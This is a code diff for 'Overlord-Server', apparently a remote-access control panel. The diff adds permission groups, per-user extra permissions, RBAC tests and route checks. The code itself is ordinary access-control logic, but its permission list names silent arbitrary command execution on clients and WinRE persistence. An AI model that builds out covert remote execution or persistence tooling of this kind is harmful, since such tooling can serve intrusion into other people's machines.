@@ -195,6 +213,67 @@
       </div>
     </div>
 
+    <!-- Group Editor Modal -->
+    <div id="group-modal" class="hidden fixed inset-0 bg-black/50 backdrop-blur-sm z-50 flex items-center justify-center p-4">
+      <div class="bg-slate-900 border border-slate-700 rounded-xl max-w-2xl w-full p-6 shadow-2xl max-h-[90vh] overflow-y-auto">
+        <div class="flex items-center justify-between mb-4">
+          <h3 id="group-modal-title" class="text-xl font-bold">Edit Group</h3>
+          <button id="close-group-modal" class="text-slate-400 hover:text-slate-200"><i class="fa-solid fa-times text-xl"></i></button>
+        </div>
+        <form id="group-form" class="space-y-4">
+          <div>
+            <label class="block text-sm font-medium text-slate-300 mb-2">Name</label>
+            <input id="group-name" type="text" required maxlength="64" class="w-full px-4 py-2 bg-slate-800 border border-slate-700 rounded-lg" />
+          </div>
+          <div>
+            <label class="block text-sm font-medium text-slate-300 mb-2">Description (optional)</label>
+            <input id="group-description" type="text" maxlength="256" class="w-full px-4 py-2 bg-slate-800 border border-slate-700 rounded-lg" />
+          </div>
+          <div>
+            <label class="block text-sm font-medium text-slate-300 mb-2">Permissions</label>
+            <div id="group-permissions-list" class="space-y-1 max-h-72 overflow-y-auto border border-slate-700 rounded-lg p-3 bg-slate-950/50">
+              <p class="text-slate-500 text-sm">Loading...</p>
+            </div>
+          </div>
+          <div id="group-error" class="hidden p-3 bg-red-900/20 border border-red-800 rounded-lg text-red-400 text-sm"></div>
+          <div class="flex gap-3 pt-2">
+            <button type="button" id="group-cancel-btn" class="flex-1 px-4 py-2 bg-slate-800 hover:bg-slate-700 rounded-lg border border-slate-700">Cancel</button>
+            <button type="submit" class="flex-1 px-4 py-2 bg-violet-600 hover:bg-violet-700 text-white rounded-lg font-medium">Save</button>
+          </div>
+        </form>
+      </div>
+    </div>
+
+    <!-- User Permissions Modal -->
+    <div id="user-perms-modal" class="hidden fixed inset-0 bg-black/50 backdrop-blur-sm z-50 flex items-center justify-center p-4">
+      <div class="bg-slate-900 border border-slate-700 rounded-xl max-w-2xl w-full p-6 shadow-2xl max-h-[90vh] overflow-y-auto">
+        <div class="flex items-center justify-between mb-4">
+          <h3 id="user-perms-title" class="text-xl font-bold">Permissions</h3>
+          <button id="close-user-perms-modal" class="text-slate-400 hover:text-slate-200"><i class="fa-solid fa-times text-xl"></i></button>
+        </div>
+        <p class="text-sm text-slate-400 mb-4">Groups bundle permissions; extras grant specific permissions on top. Both are additive — they only add to what the user's role already grants.</p>
+        <div class="space-y-4">
+          <div>
+            <h4 class="text-sm font-semibold text-slate-300 mb-2">Groups</h4>
+            <div id="user-groups-list" class="space-y-1 max-h-48 overflow-y-auto border border-slate-700 rounded-lg p-3 bg-slate-950/50">
+              <p class="text-slate-500 text-sm">Loading...</p>
+            </div>
+          </div>
+          <div>
+            <h4 class="text-sm font-semibold text-slate-300 mb-2">Extra Permissions</h4>
+            <div id="user-extras-list" class="space-y-1 max-h-72 overflow-y-auto border border-slate-700 rounded-lg p-3 bg-slate-950/50">
+              <p class="text-slate-500 text-sm">Loading...</p>
+            </div>
+          </div>
+        </div>
+        <div id="user-perms-error" class="hidden mt-3 p-3 bg-red-900/20 border border-red-800 rounded-lg text-red-400 text-sm"></div>
+        <div class="flex gap-3 pt-4">
+          <button type="button" id="user-perms-cancel-btn" class="flex-1 px-4 py-2 bg-slate-800 hover:bg-slate-700 rounded-lg border border-slate-700">Cancel</button>
+          <button type="button" id="user-perms-save-btn" class="flex-1 px-4 py-2 bg-violet-600 hover:bg-violet-700 text-white rounded-lg font-medium">Save</button>
+        </div>
+      </div>
+    </div>
+
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/users.js"></script>
   </body>
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts
index e13908f..119f15b 100644
--- a/Overlord-Server/src/config.ts
+++ b/Overlord-Server/src/config.ts
@@ -72,6 +72,7 @@ export interface Config {
     mode: "off" | "open" | "key" | "approval";
     defaultRole: "operator" | "viewer";
     maxUsersTotal: number;
+    defaultGroupIds: number[];
   };
   buildRateLimit: {
     maxBuildsPerHour: number;
@@ -155,6 +156,7 @@ const DEFAULT_CONFIG: Config = {
     mode: "off" as const,
     defaultRole: "operator" as const,
     maxUsersTotal: 0,
+    defaultGroupIds: [] as number[],
   },
   buildRateLimit: {
     maxBuildsPerHour: 5,
@@ -546,6 +548,11 @@ export function loadConfig(): Config {
         Number(process.env.OVERLORD_REGISTRATION_MAX_USERS) ||
         fileConfig.registration?.maxUsersTotal ||
         DEFAULT_CONFIG.registration.maxUsersTotal,
+      defaultGroupIds: Array.isArray(fileConfig.registration?.defaultGroupIds)
+        ? fileConfig.registration.defaultGroupIds
+            .map((g: unknown) => Number(g))
+            .filter((g: number) => Number.isFinite(g) && g > 0)
+        : [...DEFAULT_CONFIG.registration.defaultGroupIds],
     },
     buildRateLimit: {
       maxBuildsPerHour:
@@ -834,6 +841,9 @@ export async function updateRegistrationConfig(
     next.defaultRole = current.registration.defaultRole;
   }
   next.maxUsersTotal = Math.max(0, Math.min(100000, Number(next.maxUsersTotal) || 0));
+  next.defaultGroupIds = Array.isArray(next.defaultGroupIds)
+    ? Array.from(new Set(next.defaultGroupIds.map((g) => Number(g)).filter((g) => Number.isFinite(g) && g > 0)))
+    : [...current.registration.defaultGroupIds];
 
   configCache = {
     ...current,
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index a1cfc6a..0666e8d 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -13,7 +13,8 @@ import { v4 as uuidv4 } from "uuid";
 import { authenticateRequest } from "./auth";
 import { loadConfig, getConfig } from "./config";
 import { flushAuditLogsSync } from "./auditLog";
-import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope, hasPermission } from "./users";
+import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
+import { hasPermission } from "./rbac";
 import { requireAuth, requirePermission } from "./rbac";
 import { metrics } from "./metrics";
 import { ensureDataDir } from "./paths";
@@ -35,6 +36,7 @@ import { handlePageRoutes } from "./server/routes/page-routes";
 import { handlePluginRoutes } from "./server/routes/plugin-routes";
 import { handleFileShareRoutes } from "./server/routes/file-share-routes";
 import { handleUsersRoutes } from "./server/routes/users-routes";
+import { handlePermissionGroupsRoutes } from "./server/routes/permission-groups-routes";
 import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
 import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
 import { handleWebrtcRoutes } from "./server/routes/webrtc-routes";
@@ -724,6 +726,7 @@ async function startServer() {
         (req, url) => handleChatRoutes(req, url),
         (req, url) => handleSolRoutes(req, url),
         (req, url, srv) => handleUsersRoutes(req, url, srv as any),
+        (req, url, srv) => handlePermissionGroupsRoutes(req, url, srv as any),
         (req, url, srv) => handleBuildRoutes(req, url, srv as any, routeDeps.build),
         (req, url, srv) => handleDeployRoutes(req, url, srv as any, routeDeps.deploy),
         (req, url, srv) => handleWinRERoutes(req, url, srv as any, routeDeps.winre),
diff --git a/Overlord-Server/src/permission-groups.test.ts b/Overlord-Server/src/permission-groups.test.ts
new file mode 100644
index 0000000..26a620a
--- /dev/null
+++ b/Overlord-Server/src/permission-groups.test.ts
@@ -0,0 +1,171 @@
+import { afterEach, describe, expect, test } from "bun:test";
+import {
+  createPermissionGroup,
+  createUser,
+  deletePermissionGroup,
+  deleteUser,
+  getPermissionGroup,
+  getUserByUsername,
+  getUserGrantedPermissions,
+  getUserGroupIds,
+  listPermissionGroups,
+  setUserExtraPermissions,
+  setUserGroups,
+  updatePermissionGroup,
+} from "./users";
+import { hasPermission, getUserPermissions } from "./rbac";
+
+const createdUserIds: number[] = [];
+const createdGroupIds: number[] = [];
+
+async function tempUser(role: "viewer" | "operator" | "admin") {
+  const username = `pg_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
+  const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
+  expect(result.success).toBe(true);
+  const user = getUserByUsername(username);
+  expect(user).not.toBeNull();
+  createdUserIds.push(user!.id);
+  return user!;
+}
+
+function tempGroup(name: string, permissions: string[]) {
+  const result = createPermissionGroup(name + "_" + Date.now() + "_" + Math.floor(Math.random() * 1000), null, permissions, null);
+  expect(result.success).toBe(true);
+  createdGroupIds.push(result.group!.id);
+  return result.group!;
+}
+
+afterEach(() => {
+  while (createdUserIds.length > 0) {
+    const id = createdUserIds.pop();
+    if (typeof id === "number") deleteUser(id);
+  }
+  while (createdGroupIds.length > 0) {
+    const id = createdGroupIds.pop();
+    if (typeof id === "number") deletePermissionGroup(id);
+  }
+});
+
+describe("permission groups CRUD", () => {
+  test("createPermissionGroup persists the group with permissions", () => {
+    const group = tempGroup("crud_one", ["clients:metadata", "clients:disconnect"]);
+    expect(group.name).toContain("crud_one");
+    expect(group.permissions.sort()).toEqual(["clients:disconnect", "clients:metadata"]);
+    const loaded = getPermissionGroup(group.id);
+    expect(loaded?.permissions.sort()).toEqual(["clients:disconnect", "clients:metadata"]);
+  });
+
+  test("createPermissionGroup rejects duplicate names", () => {
+    const group = tempGroup("dup", []);
+    const dup = createPermissionGroup(group.name, null, [], null);
+    expect(dup.success).toBe(false);
+    expect(dup.error).toMatch(/already exists/i);
+  });
+
+  test("updatePermissionGroup replaces the permission set", () => {
+    const group = tempGroup("upd", ["clients:metadata"]);
+    const result = updatePermissionGroup(group.id, { permissions: ["clients:uninstall"] });
+    expect(result.success).toBe(true);
+    expect(result.group!.permissions).toEqual(["clients:uninstall"]);
+  });
+
+  test("listPermissionGroups returns all created groups", () => {
+    const a = tempGroup("list_a", ["chat:write"]);
+    const b = tempGroup("list_b", ["clients:metadata"]);
+    const ids = new Set(listPermissionGroups().map((g) => g.id));
+    expect(ids.has(a.id)).toBe(true);
+    expect(ids.has(b.id)).toBe(true);
+  });
+});
+
+describe("user permission groups + extras", () => {
+  test("setUserGroups + getUserGrantedPermissions unions group perms", async () => {
+    const viewer = await tempUser("viewer");
+    const g1 = tempGroup("gp_a", ["clients:metadata"]);
+    const g2 = tempGroup("gp_b", ["clients:disconnect"]);
+    setUserGroups(viewer.id, [g1.id, g2.id]);
+
+    const granted = getUserGrantedPermissions(viewer.id);
+    expect(granted.has("clients:metadata")).toBe(true);
+    expect(granted.has("clients:disconnect")).toBe(true);
+    expect(granted.has("clients:uninstall")).toBe(false);
+  });
+
+  test("setUserExtraPermissions adds a permission outside any group", async () => {
+    const viewer = await tempUser("viewer");
+    setUserExtraPermissions(viewer.id, ["clients:uninstall"]);
+    expect(getUserGrantedPermissions(viewer.id).has("clients:uninstall")).toBe(true);
+  });
+
+  test("hasPermission union: viewer with a group gains the perm", async () => {
+    const viewer = await tempUser("viewer");
+    const g = tempGroup("hp_a", ["clients:metadata"]);
+    expect(hasPermission(viewer.role, "clients:metadata", viewer.id)).toBe(false);
+    setUserGroups(viewer.id, [g.id]);
+    expect(hasPermission(viewer.role, "clients:metadata", viewer.id)).toBe(true);
+  });
+
+  test("groups are additive only — they cannot revoke an admin perm", async () => {
+    const admin = await tempUser("admin");
+    setUserGroups(admin.id, []);
+    expect(hasPermission(admin.role, "clients:metadata", admin.id)).toBe(true);
+  });
+
+  test("userOverride still revokes — an operator with can_build=0 keeps no clients:build via empty group", async () => {
+    const op = await tempUser("operator");
+    // Operator has clients:build by default. Removing all groups + extras does
+    // NOT take it away because role grants it.
+    setUserGroups(op.id, []);
+    setUserExtraPermissions(op.id, []);
+    expect(hasPermission(op.role, "clients:build", op.id)).toBe(true);
+    // Only the legacy can_build override (userOverride returning false) revokes.
+    const { setUserCanBuild } = await import("./users");
+    setUserCanBuild(op.id, false);
+    expect(hasPermission(op.role, "clients:build", op.id)).toBe(false);
+    // Now add an extra → it gets granted back.
+    setUserExtraPermissions(op.id, ["clients:build"]);
+    expect(hasPermission(op.role, "clients:build", op.id)).toBe(true);
+  });
+
+  test("getUserPermissions includes role + group + extra permissions for a viewer", async () => {
+    const viewer = await tempUser("viewer");
+    const g = tempGroup("up_a", ["clients:metadata"]);
+    setUserGroups(viewer.id, [g.id]);
+    setUserExtraPermissions(viewer.id, ["clients:uninstall"]);
+    const perms = new Set(getUserPermissions(viewer.id, viewer.role));
+    expect(perms.has("clients:metadata")).toBe(true);
+    expect(perms.has("clients:uninstall")).toBe(true);
+    // Viewer has no role-level perms
+    expect(perms.has("clients:control")).toBe(false);
+    expect(perms.has("users:manage")).toBe(false);
+  });
+
+  test("getUserGroupIds returns assigned ids", async () => {
+    const viewer = await tempUser("viewer");
+    const g = tempGroup("gid_a", []);
+    setUserGroups(viewer.id, [g.id]);
+    expect(getUserGroupIds(viewer.id)).toContain(g.id);
+  });
+
+  test("deleting a group removes it from users", async () => {
+    const viewer = await tempUser("viewer");
+    const g = tempGroup("del_a", ["clients:metadata"]);
+    setUserGroups(viewer.id, [g.id]);
+    expect(getUserGroupIds(viewer.id)).toContain(g.id);
+    deletePermissionGroup(g.id);
+    expect(getUserGroupIds(viewer.id)).not.toContain(g.id);
+    // Stop the afterEach from double-deleting
+    createdGroupIds.splice(createdGroupIds.indexOf(g.id), 1);
+  });
+
+  test("deleting a user clears their group assignments + extras from cache", async () => {
+    const viewer = await tempUser("viewer");
+    const g = tempGroup("dl_user", ["clients:metadata"]);
+    setUserGroups(viewer.id, [g.id]);
+    setUserExtraPermissions(viewer.id, ["clients:disconnect"]);
+    expect(getUserGrantedPermissions(viewer.id).size).toBeGreaterThan(0);
+    deleteUser(viewer.id);
+    createdUserIds.splice(createdUserIds.indexOf(viewer.id), 1);
+    expect(getUserGrantedPermissions(viewer.id).size).toBe(0);
+  });
+});
diff --git a/Overlord-Server/src/rbac.test.ts b/Overlord-Server/src/rbac.test.ts
index 29ee606..04dcc26 100644
--- a/Overlord-Server/src/rbac.test.ts
+++ b/Overlord-Server/src/rbac.test.ts
@@ -8,6 +8,7 @@ import {
   requireAnyPermission,
   getPermissionDescription,
   getRoleDescription,
+  getRolePermissions,
   type Permission,
 } from "./rbac";
 import type { AuthenticatedUser } from "./auth";
@@ -65,6 +66,58 @@ describe("checkPermission", () => {
   test("operator has audit:view", () => {
     expect(checkPermission(makeUser({ role: "operator" }), "audit:view")).toBe(true);
   });
+
+  test("admin has scripts:manage, operator does not", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "scripts:manage")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "scripts:manage")).toBe(false);
+    expect(checkPermission(makeUser({ role: "viewer" }), "scripts:manage")).toBe(false);
+  });
+
+  test("admin has deploys:manage, operator does not", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "deploys:manage")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "deploys:manage")).toBe(false);
+  });
+
+  test("admin and operator have plugins:manage", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "plugins:manage")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "plugins:manage")).toBe(true);
+    expect(checkPermission(makeUser({ role: "viewer" }), "plugins:manage")).toBe(false);
+  });
+
+  test("only admin has plugins:configure", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "plugins:configure")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "plugins:configure")).toBe(false);
+    expect(checkPermission(makeUser({ role: "viewer" }), "plugins:configure")).toBe(false);
+  });
+
+  test("only admin has network:manage-bans", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "network:manage-bans")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "network:manage-bans")).toBe(false);
+  });
+
+  test("only admin has clients:silent-exec", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "clients:silent-exec")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "clients:silent-exec")).toBe(false);
+    expect(checkPermission(makeUser({ role: "viewer" }), "clients:silent-exec")).toBe(false);
+  });
+
+  test("only admin has system:configure", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "system:configure")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "system:configure")).toBe(false);
+    expect(checkPermission(makeUser({ role: "viewer" }), "system:configure")).toBe(false);
+  });
+
+  test("only admin has clients:winre", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "clients:winre")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "clients:winre")).toBe(false);
+    expect(checkPermission(makeUser({ role: "viewer" }), "clients:winre")).toBe(false);
+  });
+
+  test("admin and operator have clients:reconnect", () => {
+    expect(checkPermission(makeUser({ role: "admin" }), "clients:reconnect")).toBe(true);
+    expect(checkPermission(makeUser({ role: "operator" }), "clients:reconnect")).toBe(true);
+    expect(checkPermission(makeUser({ role: "viewer" }), "clients:reconnect")).toBe(false);
+  });
 });
 
 describe("checkAnyPermission", () => {
@@ -180,7 +233,16 @@ describe("getPermissionDescription", () => {
     ["clients:control", "Control clients (execute commands, desktop, console, files)"],
     ["clients:build", "Build client binaries"],
     ["clients:enroll", "Manage client enrollment approvals"],
+    ["clients:silent-exec", "Silently execute arbitrary commands on clients"],
     ["audit:view", "View audit logs"],
+    ["chat:write", "Send messages in team chat"],
+    ["scripts:manage", "Manage auto-run scripts"],
+    ["deploys:manage", "Manage deploys and auto-deploys"],
+    ["plugins:manage", "Upload, enable, and delete plugins"],
+    ["plugins:configure", "Configure plugin trust, auto-load, and direct execution"],
+    ["network:manage-bans", "Manage IP bans"],
+    ["system:configure", "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)"],
+    ["clients:winre", "Install or uninstall WinRE persistence on clients"],
   ];
 
   for (const [perm, desc] of cases) {
@@ -194,6 +256,48 @@ describe("getPermissionDescription", () => {
   });
 });
 
+describe("getRolePermissions", () => {
+  test("admin gets every declared permission", () => {
+    const perms = getRolePermissions("admin");
+    expect(perms).toContain("users:manage");
+    expect(perms).toContain("clients:control");
+    expect(perms).toContain("clients:build");
+    expect(perms).toContain("clients:enroll");
+    expect(perms).toContain("clients:silent-exec");
+    expect(perms).toContain("audit:view");
+    expect(perms).toContain("chat:write");
+    expect(perms).toContain("scripts:manage");
+    expect(perms).toContain("deploys:manage");
+    expect(perms).toContain("plugins:manage");
+    expect(perms).toContain("plugins:configure");
+    expect(perms).toContain("network:manage-bans");
+    expect(perms).toContain("system:configure");
+    expect(perms).toContain("clients:winre");
+  });
+
+  test("operator gets the role-eligible subset", () => {
+    const perms = getRolePermissions("operator");
+    expect(perms).toContain("clients:control");
+    expect(perms).toContain("clients:build");
+    expect(perms).toContain("clients:enroll");
+    expect(perms).toContain("audit:view");
+    expect(perms).toContain("chat:write");
+    expect(perms).toContain("plugins:manage");
+    expect(perms).not.toContain("users:manage");
+    expect(perms).not.toContain("scripts:manage");
+    expect(perms).not.toContain("deploys:manage");
+    expect(perms).not.toContain("plugins:configure");
+    expect(perms).not.toContain("network:manage-bans");
+    expect(perms).not.toContain("clients:silent-exec");
+    expect(perms).not.toContain("system:configure");
+    expect(perms).not.toContain("clients:winre");
+  });
+
+  test("viewer gets nothing", () => {
+    expect(getRolePermissions("viewer")).toHaveLength(0);
+  });
+});
+
 describe("getRoleDescription", () => {
   test("admin description", () => {
     expect(getRoleDescription("admin")).toBe(
diff --git a/Overlord-Server/src/rbac.ts b/Overlord-Server/src/rbac.ts
index 281cc47..e80fbce 100644
--- a/Overlord-Server/src/rbac.ts
+++ b/Overlord-Server/src/rbac.ts
@@ -1,13 +1,130 @@
 import { type AuthenticatedUser } from "./auth";
-import { hasPermission, type UserRole } from "./users";
+import {
+  canBuildClients,
+  canChatWrite,
+  canUserAccessClient,
+  canUserAccessFeature,
+  canUserAccessPlugin,
+  getUserGrantedPermissions,
+  type FeatureName,
+  type UserRole,
+} from "./users";
 
-export type Permission =
-  | "users:manage"
-  | "clients:control"
-  | "clients:build"
-  | "clients:enroll"
-  | "audit:view"
-  | "chat:write";
+type PermissionDef = {
+  description: string;
+  roles: readonly UserRole[];
+  userOverride?: (userId: number, role: UserRole) => boolean;
+};
+
+const PERMISSIONS = {
+  "users:manage": {
+    description: "Manage users and roles",
+    roles: ["admin"],
+  },
+  "clients:control": {
+    description: "Control clients (execute commands, desktop, console, files)",
+    roles: ["admin", "operator"],
+  },
+  "clients:build": {
+    description: "Build client binaries",
+    roles: ["admin", "operator"],
+    userOverride: canBuildClients,
+  },
+  "clients:enroll": {
+    description: "Manage client enrollment approvals",
+    roles: ["admin", "operator"],
+  },
+  "clients:silent-exec": {
+    description: "Silently execute arbitrary commands on clients",
+    roles: ["admin"],
+  },
+  "clients:disconnect": {
+    description: "Force a client to disconnect",
+    roles: ["admin", "operator"],
+  },
+  "clients:reconnect": {
+    description: "Force a client to drop its session and reconnect",
+    roles: ["admin", "operator"],
+  },
+  "clients:metadata": {
+    description: "Edit client metadata (nickname, tag, group, bookmark, mute)",
+    roles: ["admin", "operator"],
+  },
+  "clients:uninstall": {
+    description: "Uninstall the agent on a client (removes persistence and deletes from dashboard)",
+    roles: ["admin", "operator"],
+  },
+  "audit:view": {
+    description: "View audit logs",
+    roles: ["admin", "operator"],
+  },
+  "chat:write": {
+    description: "Send messages in team chat",
+    roles: ["admin", "operator"],
+    userOverride: canChatWrite,
+  },
+  "scripts:manage": {
+    description: "Manage auto-run scripts",
+    roles: ["admin"],
+  },
+  "deploys:manage": {
+    description: "Manage deploys and auto-deploys",
+    roles: ["admin"],
+  },
+  "plugins:manage": {
+    description: "Upload, enable, and delete plugins",
+    roles: ["admin", "operator"],
+  },
+  "plugins:configure": {
+    description: "Configure plugin trust, auto-load, and direct execution",
+    roles: ["admin"],
+  },
+  "network:manage-bans": {
+    description: "Manage IP bans",
+    roles: ["admin"],
+  },
+  "system:configure": {
+    description: "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)",
+    roles: ["admin"],
+  },
+  "clients:winre": {
+    description: "Install or uninstall WinRE persistence on clients",
+    roles: ["admin"],
+  },
+} as const satisfies Record<string, PermissionDef>;
+
+export type Permission = keyof typeof PERMISSIONS;
+
+function lookupPermission(permission: string): PermissionDef | undefined {
+  return (PERMISSIONS as Record<string, PermissionDef>)[permission];
+}
+
+export function hasPermission(
+  role: UserRole,
+  permission: Permission | string,
+  userId?: number,
+): boolean {
+  const def = lookupPermission(permission);
+  if (!def) return false;
+  // The legacy role-level gate. Per-permission userOverride (canBuild,
+  // canChatWrite) is authoritative when present + userId is known — it can
+  // both grant AND deny relative to the role default (an operator with
+  // can_build=0 loses clients:build at the role layer). Without a userOverride,
+  // membership in def.roles decides.
+  let grantedByRole: boolean;
+  if (def.userOverride && userId !== undefined) {
+    grantedByRole = def.userOverride(userId, role);
+  } else {
+    grantedByRole = def.roles.includes(role);
+  }
+  if (grantedByRole) return true;
+  // Permission groups + per-user extras are *additive only*: they can grant a
+  // permission the role doesn't have, but they cannot revoke one the role does.
+  if (userId !== undefined && getUserGrantedPermissions(userId).has(permission)) {
+    return true;
+  }
+  return false;
+}
 
 export function checkPermission(
   user: AuthenticatedUser | null,
@@ -66,23 +183,8 @@ export function requireAnyPermission(
   return authedUser;
 }
 
-export function getPermissionDescription(permission: Permission): string {
-  switch (permission) {
-    case "users:manage":
-      return "Manage users and roles";
-    case "clients:control":
-      return "Control clients (execute commands, desktop, console, files)";
-    case "clients:build":
-      return "Build client binaries";
-    case "clients:enroll":
-      return "Manage client enrollment approvals";
-    case "audit:view":
-      return "View audit logs";
-    case "chat:write":
-      return "Send messages in team chat";
-    default:
-      return "Unknown permission";
-  }
+export function getPermissionDescription(permission: Permission | string): string {
+  return lookupPermission(permission)?.description ?? "Unknown permission";
 }
 
 export function getRoleDescription(role: UserRole): string {
@@ -98,15 +200,52 @@ export function getRoleDescription(role: UserRole): string {
   }
 }
 
+export function requireClientAccess(
+  user: AuthenticatedUser | null,
+  clientId: string,
+): AuthenticatedUser {
+  const authed = requireAuth(user);
+  if (!canUserAccessClient(authed.userId, authed.role, clientId)) {
+    throw new Response("Forbidden: You do not have access to this client", { status: 403 });
+  }
+  return authed;
+}
+
+export function requirePluginAccess(
+  user: AuthenticatedUser | null,
+  pluginId: string,
+): AuthenticatedUser {
+  const authed = requireAuth(user);
+  if (!canUserAccessPlugin(authed.userId, authed.role, pluginId)) {
+    throw new Response("Forbidden: You do not have access to this plugin", { status: 403 });
+  }
+  return authed;
+}
+
+export function requireFeatureAccess(
+  user: AuthenticatedUser | null,
+  feature: FeatureName,
+): AuthenticatedUser {
+  const authed = requireAuth(user);
+  if (!canUserAccessFeature(authed.userId, authed.role, feature)) {
+    throw new Response("Forbidden: feature access denied", { status: 403 });
+  }
+  return authed;
+}
+
 export function getRolePermissions(role: UserRole): Permission[] {
-  const permissions: Permission[] = [];
-
-  if (hasPermission(role, "users:manage")) permissions.push("users:manage");
-  if (hasPermission(role, "clients:control"))
-    permissions.push("clients:control");
-  if (hasPermission(role, "clients:build")) permissions.push("clients:build");
-  if (hasPermission(role, "clients:enroll")) permissions.push("clients:enroll");
-  if (hasPermission(role, "audit:view")) permissions.push("audit:view");
+  const result: Permission[] = [];
+  for (const perm of Object.keys(PERMISSIONS) as Permission[]) {
+    const def = lookupPermission(perm);
+    if (def && def.roles.includes(role)) result.push(perm);
+  }
+  return result;
+}
 
-  return permissions;
+export function getUserPermissions(userId: number, role: UserRole): Permission[] {
+  const result: Permission[] = [];
+  for (const perm of Object.keys(PERMISSIONS) as Permission[]) {
+    if (hasPermission(role, perm, userId)) result.push(perm);
+  }
+  return result;
 }
diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts
index c0921d6..c5a5a2b 100644
--- a/Overlord-Server/src/server/routes/auth-routes.ts
+++ b/Overlord-Server/src/server/routes/auth-routes.ts
@@ -24,6 +24,7 @@ import {
   recordSuccessfulAttempt,
 } from "../../rateLimit";
 import { getUserById, canUserAccessClient, canUserAccessFeature, getUserFeaturePermissions, type FeatureName, ALL_FEATURES } from "../../users";
+import { getUserPermissions, requirePermission } from "../../rbac";
 import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie";
 
 type RequestIpProvider = {
@@ -214,8 +215,11 @@ export async function handleAuthRoutes(
     if (!user) {
       return Response.json({ error: "Not authenticated" }, { status: 401 });
     }
-    if (user.role !== "admin") {
-      return Response.json({ error: "Admin only" }, { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return Response.json({ error: "Forbidden" }, { status: 403 });
     }
 
     const targetUserId = parseInt(url.pathname.split("/")[3]);
@@ -274,8 +278,11 @@ export async function handleAuthRoutes(
     if (!user) {
       return Response.json({ error: "Not authenticated" }, { status: 401 });
     }
-    if (user.role !== "admin") {
-      return Response.json({ error: "Admin only" }, { status: 403 });
+    try {
+      requirePermission(user, "users:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return Response.json({ error: "Forbidden" }, { status: 403 });
     }
 
     const targetUserId = parseInt(url.pathname.split("/")[3]);
@@ -341,6 +348,7 @@ export async function handleAuthRoutes(
 
     const dbUser = getUserById(user.userId);
     const featurePermissions = getUserFeaturePermissions(user.userId);
+    const permissions = getUserPermissions(user.userId, user.role);
 
     return new Response(
       JSON.stringify({
@@ -351,6 +359,7 @@ export async function handleAuthRoutes(
         canBuild: dbUser ? Boolean(dbUser.can_build) : false,
         telegramChatId: dbUser?.telegram_chat_id || "",
         featurePermissions,
+        permissions,
       }),
       {
         headers: { "Content-Type": "application/json" },
diff --git a/Overlord-Server/src/server/routes/auto-deploy-routes.ts b/Overlord-Server/src/server/routes/auto-deploy-routes.ts
index c660de6..d259448 100644
--- a/Overlord-Server/src/server/routes/auto-deploy-routes.ts
+++ b/Overlord-Server/src/server/routes/auto-deploy-routes.ts
@@ -50,8 +50,11 @@ export async function handleAutoDeployRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "deploys:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let form: FormData;
@@ -123,8 +126,11 @@ export async function handleAutoDeployRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "deploys:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     let body: any = {};
@@ -168,8 +174,11 @@ export async function handleAutoDeployRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "deploys:manage");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
     }
 
     const deploy = getAutoDeploy(autoDeployMatch[1]);
diff --git a/Overlord-Server/src/server/routes/auto-scripts-routes.ts b/Overlord-Server/src/server/routes/auto-scripts-routes.ts
index 7c0e0f7..a790759 100644
--- a/Overlord-Server/src/server/routes/auto-scripts-routes.ts
+++ b/Overlord-Server/src/server/routes/auto-scripts-routes.ts
@@ -40,8 +40,11 @@ export async function handleAutoScriptsRoutes(
         headers: { "Content-Type": "application/json" },
       });
     }
-    if (user.role !== "admin") {
-      return new Response("Forbidden: Admin access required", { status: 403 });
+    try {
+      requirePermission(user, "scripts:manage");
